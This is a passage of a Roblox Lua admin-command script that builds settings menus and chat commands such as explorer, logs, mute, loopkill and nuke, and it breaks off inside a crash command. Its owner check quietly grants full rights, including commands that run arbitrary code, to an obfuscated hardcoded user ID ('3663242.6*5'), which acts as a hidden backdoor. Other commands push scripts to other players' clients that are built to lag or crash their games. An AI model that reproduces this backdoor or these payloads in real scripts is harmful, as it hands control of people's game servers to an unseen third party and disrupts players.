- tb.BorderColor3 = Color3.new(1,1,1)
- tb.TextColor3 = Color3.new(1,1,1)
- tb.Font = "Arial"
- tb.Text = set['AutoCleanDelay']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = Color3.new(1,1,1)
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tonumber(tb.Text) ~= set['AutoCleanDelay'] and tb.Text ~= "" and tb.Text~='0' then
- set['AutoCleanDelay'] = tonumber(tb.Text)
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'NoTalk Enabled: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['NoTalk'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['NoTalk'] then set['NoTalk'] = false
- cb.Text = ""
- else
- set['NoTalk'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Donator Stuff: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['DonorStuff'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['DonorStuff'] then set['DonorStuff'] = false
- cb.Text = ""
- else
- set['DonorStuff'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Group Admin: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['GroupAdmin'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['GroupAdmin'] then set['GroupAdmin'] = false
- cb.Text = ""
- else
- set['GroupAdmin'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'GroupId: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = Color3.new(1,1,1)
- tb.TextColor3 = Color3.new(1,1,1)
- tb.Font = "Arial"
- tb.Text = set['GroupId']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = Color3.new(1,1,1)
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tonumber(tb.Text) ~= set['GroupId'] and tb.Text ~= "" then
- set['GroupId'] = tonumber(tb.Text)
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Group Only Join: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['GroupOnlyJoin'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['GroupOnlyJoin'] then set['GroupOnlyJoin'] = false
- cb.Text = ""
- else
- set['GroupOnlyJoin'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Friend Admin: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['FreindAdmin'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['FreindAdmin'] then set['FreindAdmin'] = false
- cb.Text = ""
- else
- set['FreindAdmin'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'VIP Admin: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['VipAdmin'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['VipAdmin'] then set['VipAdmin'] = false
- cb.Text = ""
- else
- set['VipAdmin'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'VIP Item ID: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = Color3.new(1,1,1)
- tb.TextColor3 = Color3.new(1,1,1)
- tb.Font = "Arial"
- tb.Text = set['ItemId']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = Color3.new(1,1,1)
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tonumber(tb.Text) ~= set['ItemId'] and tb.Text ~= "" then
- set['ItemId'] = tonumber(tb.Text)
- end
- end)
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- -------
- end
- --------------------
- -- Owner Commands --
- --------------------
- if plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId or set.ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,3) == "pa " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkAdmin(v.Name, true) then
- table.insert(set['Admins'], v.Name)
- coroutine.resume(coroutine.create(function()
- repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
- set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
- end))
- set.Hint(v.Name..' Has Been Given Admin',{plr})
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unpa " then
- for i = 1, #set['Admins'] do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or set['Admins'][i]:lower():find(msg:lower():sub(6)) == 1 then
- set.Hint(set['Admins'][i]..' No Longer Has Admin',{plr})
- table.remove(set['Admins'], i)
- end
- end))
- end
- end
- if msg:lower() == "restoremap" then
- for i,v in pairs(workspace:children()) do
- pcall(function() v:Destroy() end)
- end
- for i,v in pairs(set.mapbackup) do
- v:clone().Parent=workspace
- end
- chat(plr,set['prefix'].."respawn all")
- end
- if msg:lower() == "explore" or msg:lower() == "explorer" then
- if plr.PlayerGui:findFirstChild(GuiName.."EXPLORERGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."EXPLORERGUI" scr.Parent = plr.PlayerGui
- top.Text='Explorer'
- local parent=game
- local function GrabChildren()
- local function makegui(v)
- local cl = ent:clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v.Name
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,300,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local kill = Instance.new("TextButton", cl)
- kill.Style = "Custom"
- kill.Size = UDim2.new(0,15,0,15)
- kill.TextScaled=true
- kill.Position = UDim2.new(1,50,0,0)
- kill.ZIndex=2
- kill.Font = "ArialBold"
- kill.FontSize = "Size18"
- kill.Text = "X"
- kill.BackgroundColor3=set['PrimaryColor']
- kill.BorderColor3=set['SecondaryColor']
- kill.TextColor3 = set['SecondaryColor']
- kill.BackgroundTransparency=set['Transparency']
- kill.MouseButton1Click:connect(function() v:Destroy() cmf:ClearAllChildren() GrabChildren() end)
- local move = Instance.new("TextButton", cl)
- move.Style = "Custom"
- move.Size = UDim2.new(0,15,0,15)
- move.TextScaled=true
- move.Position = UDim2.new(1,25,0,0)
- move.ZIndex = 2
- move.Font = "ArialBold"
- move.FontSize = "Size18"
- move.Text = "+"
- move.BackgroundColor3=set['PrimaryColor']
- move.BorderColor3=set['SecondaryColor']
- move.TextColor3 = set['SecondaryColor']
- move.BackgroundTransparency=set['Transparency']
- move.MouseButton1Click:connect(function() parent=v cmf:ClearAllChildren() GrabChildren() end)
- num = num +1
- end
- num=0
- if parent==game then
- local gamestuff={game:service('Lighting'),workspace,game.StarterPack,game.StarterGui,game.Players,game.Debris,game:service('ServerStorage'),game:service('ServerScriptService'),game:service('ReplicatedStorage'),game:service('SoundService'),game:service('Teams')}
- for k,s in pairs(gamestuff)do
- if s and s.Name and s.Parent==game then
- makegui(s)
- end
- end
- for l,m in pairs(game:GetChildren()) do
- if m and m.ClassName and m.ClassName=='Model' or m.ClassName=='Script' or m.ClassName=='LocalScript' then
- makegui(m)
- end
- end
- else
- for i,v in pairs(parent:GetChildren()) do
- makegui(v)
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local back = Instance.new("TextButton", cmf.Parent)
- back.Style = "Custom"
- back.Size = UDim2.new(0,20,0,20)
- back.Position = UDim2.new(1,-50,0,5)
- back.ZIndex = 10
- back.Font = "ArialBold"
- back.FontSize = "Size18"
- back.Text = "^"
- back.BackgroundColor3=set['PrimaryColor']
- back.BorderColor3=set['SecondaryColor']
- back.TextColor3 = set['SecondaryColor']
- back.BackgroundTransparency=set['Transparency']
- back.MouseButton1Click:connect(function() if parent~=game then parent=parent.Parent end cmf:ClearAllChildren() GrabChildren() end)
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.Position = UDim2.new(1,-75,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabChildren() end)
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) and parent~=game then
- cmf:ClearAllChildren()
- num=0
- for k,l in pairs(parent:GetChildren()) do
- if l and (l.Name:lower():sub(1,#b.Text)==b.Text and b.Text~='all') then
- makegui(l)
- end
- end
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0 or b.Text=='all') and parent~=game then
- cmf:ClearAllChildren()
- GrabChildren()
- end
- end)
- GrabChildren()
- end
- if msg:lower():sub(1,5) == "nuke " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local p = Instance.new("Part",game.Workspace) table.insert(set.objects,p)
- p.Anchored = true
- p.CanCollide = false
- p.formFactor = "Symmetric"
- p.Shape = "Ball"
- p.Size = Vector3.new(1,1,1)
- p.BrickColor = BrickColor.new("New Yeller")
- p.Transparency = .5
- p.Reflectance = .2
- p.TopSurface = 0
- p.BottomSurface = 0
- p.Touched:connect(function(hit)
- if hit and hit.Parent then
- local ex = Instance.new("Explosion", game.Workspace)
- ex.Position = hit.Position
- ex.BlastRadius = 100
- ex.BlastPressure = math.huge
- if hit:IsA('Part') then hit.Anchored=false end
- hit:BreakJoints()
- end
- end)
- local cf = v.Character.Torso.CFrame
- p.CFrame = cf
- for i = 1, 333 do
- p.Size = p.Size + Vector3.new(3,3,3)
- p.CFrame = cf
- wait(1/44)
- end
- p:Destroy()
- end
- end))
- end
- end
- end
- --------------------------
- -- Super Admin Commands --
- --------------------------
- if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.Name:lower() == set.nfs then
- if msg:lower() == "log" or msg:lower() == "logs" then
- if plr.PlayerGui:findFirstChild(GuiName.."LOGGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."LOGGUI" scr.Parent = plr.PlayerGui
- top.Text='Admin Logs'
- local function logdisplay(p)
- num=0
- for i,v in pairs(set.logs) do
- if num<=set['MaxNumberOfLogs'] and (v.name:lower():sub(1,#p)==p:lower() or v.cmd:lower():find(p:lower()) or v.time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = "["..v.time.."] "..v.name.."- "..v.cmd
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- logdisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- logdisplay('all')
- end
- end)
- local refresh = Instance.new("TextButton", cmf.Parent)
- refresh.Style = "Custom"
- refresh.Size = UDim2.new(0,20,0,20)
- refresh.Position = UDim2.new(1,-50,0,5)
- refresh.ZIndex = 10
- refresh.Font = "ArialBold"
- refresh.FontSize = "Size18"
- refresh.Text = "R"
- refresh.BackgroundColor3=set['PrimaryColor']
- refresh.BorderColor3=set['SecondaryColor']
- refresh.TextColor3 = set['SecondaryColor']
- refresh.BackgroundTransparency=set['Transparency']
- refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() logdisplay('all') end)
- logdisplay('all')
- end
- if msg:lower():sub(1,2) == "s " then
- coroutine.resume(coroutine.create(function()
- if set.canuseloadstring then
- set.Output(msg:sub(3), plr)
- set.LoadScript('Script',msg:sub(3),set.AssignName(),true,game:service('ServerScriptService'))
- else
- set.Hint('LoadStringEnabled is set to false! If you are the place owner read the Important section at the top of the script to learn how to fix this!',{plr})
- end
- end))
- end
- if msg:lower():sub(1,3) == "ls " then
- coroutine.resume(coroutine.create(function()
- if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end
- set.LoadOnClient(plr,msg:sub(4),true,set.AssignName())
- set.Output(msg:sub(4), plr)
- end))
- end
- if msg:lower():sub(1,3) == "cs " then
- local chk1 = msg:lower():sub(5):find(" ") + 4
- local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
- for i,v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end
- set.LoadOnClient(v,msg:sub(chk1+1),true,set.AssignName())
- set.Output(msg:sub(chk1+1), plr)
- end))
- end
- end
- if msg:lower():sub(1,5) == "mute " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and set.ChkTrueOwner(plr) or (not set.ChkAdmin(v.Name, false)) then
- table.insert(set['MuteList'], v.Name)
- set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',false)]])
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unmute " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then
- for k,m in pairs(set['MuteList']) do
- if v.Name==m then
- table.remove(set['MuteList'],k)
- set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',true)]])
- end
- end
- end
- end))
- end
- end
- if msg:lower() == "mutes" or msg:lower() == "muted" or msg:lower() == "mutelist" then
- if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName.."MUTESGUI" scr.Parent = plr.PlayerGui
- top.Text='Mute List'
- local function mutelistdisplay(p)
- num=0
- for i,v in pairs(set['MuteList']) do
- if (v:lower():find(p) or p=='all') then
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- mutelistdisplay('all')
- local b=Instance.new('TextBox',cmf.Parent)
- b.Size=UDim2.new(0,130,0,20)
- b.Position=UDim2.new(0,10,0,5)
- b.BackgroundColor3=set['SecondaryColor']
- b.BackgroundTransparency=set['Transparency']
- b.TextColor3=set['TextColor']
- b.TextStrokeTransparency=0
- b.Text=''
- b.ZIndex=15
- b.Font='ArialBold'
- b.TextScaled=true
- b.TextWrapped=true
- b.Changed:connect(function(o)
- if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
- cmf:ClearAllChildren()
- mutelistdisplay(b.Text)
- elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
- cmf:ClearAllChildren()
- mutelistdisplay('all')
- end
- end)
- end
- if msg:lower():sub(1,7) == "notalk " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i,v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not v:FindFirstChild('NoTalk') and not set.ChkAdmin(v.Name,false) then
- local talky=Instance.new('IntValue',v)
- talky.Name='NoTalk'
- talky.Value=0
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unnotalk " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- pcall(function()
- coroutine.wrap(function()
- if v and v:FindFirstChild('NoTalk') then
- v.NoTalk:Destroy()
- end
- end)()
- end)
- end
- end
- if msg:lower():sub(1,9) == "loopkill " then
- local chk1 = msg:lower():sub(10):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- local num = 9999
- if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
- for i, v in pairs(plrz) do
- if not set.canuseloadstring then set.Hint('Loadstrings are disabled, cant run command.',{plr}) end
- if v and set.canuseloadstring and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- set.LoadScript('Script',[[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- for i = 1, ]] .. tostring(num) .. [[ do
- repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character then plr.Character:BreakJoints() end
- end))
- end]],"LoopKill:"..v.Name,true)
- end
- end
- end
- if msg:lower():sub(1,5) == "note " then
- local chk1 = msg:lower():sub(6):find(" ")+5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- local notes=v:LoadInstance('Admin Notes')
- if not notes then
- notes=Instance.new('Model')
- end
- notes.Name='Admin Notes'
- local note = Instance.new("StringValue", notes)
- note.Name = msg:sub(chk1+1)
- set.Hint('Added '..v.Name..' Note '..note.Name,{plr})
- v:SaveInstance("Admin Notes", notes)
- end
- end
- end
- if msg:lower():sub(1,11) == "removenote " then
- local chk1 = msg:lower():sub(12):find(" ")+11
- local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1))
- for i, v in pairs(plrz) do
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- local notes=v:LoadInstance('Admin Notes')
- if notes then
- if msg:sub(chk1+1) == "all" then
- notes:ClearAllChildren()
- else
- for k,m in pairs(notes:children()) do
- if m.Name:lower():sub(1,#msg:sub(chk1+1)) == msg:sub(chk1+1):lower() then
- set.Hint('Removed '..v.Name..' Note '..m.Name,{plr})
- m:Destroy()
- end
- end
- end
- v:SaveInstance("Admin Notes", notes)
- end
- end
- end
- end
- if msg:lower():sub(1,6) == "notes " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- local scr, cmf, ent, num, top = set.ScrollGui()
- scr.Name = GuiName..v.Name.."NOTESGUI" scr.Parent = plr.PlayerGui
- top.Text=v.Name..' Notes'
- local notes=v:LoadInstance('Admin Notes')
- if not notes then set.Hint('No notes on '..v.Name,{plr}) end
- for i,v in pairs(notes:children()) do
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = num.." | "..v.Name
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
- end
- end
- if msg:lower():sub(1,11) == "unloopkill " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
- end
- if msg:lower() == "serverlock" or msg:lower() == "slock" then
- set.slock=true
- set.Hint("Server has been locked", game.Players:children())
- end
- if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then
- set.slock = false
- set.Hint("Server has been unlocked", game.Players:children())
- end
- if msg:lower() == "grouplock" or msg:lower() == "gslock" then
- set['GroupOnlyJoin'] = true
- set.Hint("Server is now Group Only.", game.Players:children())
- end
- if msg:lower() == "groupunlock" or msg:lower() == "gsunlock" then
- set['GroupOnlyJoin'] = false
- set.Hint("Server is no longer Group Only", game.Players:children())
- end
- if msg:lower():sub(1,3) == "sm " then
- set.Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
- end
- if msg:lower():sub(1,3) == "ko " then
- pcall(function()
- coroutine.wrap(function()
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
- local num = 500 if num > tonumber(msg:sub(chk1+1)) then num = tonumber(msg:sub(chk1+1)) end
- for i, v in pairs(plrz) do
- if set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- set.LoadScript(plr,[[
- v=game.Players:FindFirstChild(']]..v.Name..[[')
- for n = 1, ]]..num..[[ do
- wait()
- coroutine.wrap(function()
- pcall(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = game.Players.LocalPlayer val.Name = "creator"
- v.Character:BreakJoints()
- wait()
- v:LoadCharacter()
- end
- end)
- end)()
- end]],false,set.AssignName())
- end
- end
- end)()
- end)
- end
- if msg:lower():sub(1,4) == 'lag ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i,v in pairs(plrz) do
- coroutine.wrap(function()
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
- set.LoadOnClient(v,[[script.Parent=nil
- stuff={}
- coroutine.wrap(function()
- game:GetService('RunService').Stepped:connect(function()
- pcall(function()
- pcall(function()
- for i=1,100 do
- table.insert(stuff,i)
- string.rep('Lag',2e5)
- end
- stuff={}
- end)
- end)
- end)
- end)()
- ]],false,set.AssignName())
- end
- end)()
- end
- end
- if msg:lower():sub(1,7) == 'toollag ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i,v in pairs(plrz) do
- coroutine.wrap(function()
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
- set.LoadOnClient(v,[[
- script.Parent=nil
- v=game.Players.LocalPlayer
- while wait() do
- if v:FindFirstChild('Backpack') then
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- Instance.new("HopperBin",v.Backpack).Name=math.random()
- end
- end]],false,set.AssignName())
- end
- end)()
- end
- end
- if msg:lower():sub(1,9) == 'telespam ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i,v in pairs(plrz) do
- coroutine.wrap(function()
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
- game:GetService('TeleportService'):Teleport(154636492,v)
- end
- end)()
- end
- end
- if msg:lower():sub(1,6) == "crash " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- set.LoadOnClient(v,[[
- script.Parent=nil
- num=999^99*9/10+1348+9e5
- function run()
- game:GetService("RunService").Stepped:connect(function()
- pcall(function()
- run()
- mouse=game.Players.LocalPlayer:GetMouse()
- print(string.rep('Crash',1000))
- for i=1-num,num+90000000 do
- pcall(function()
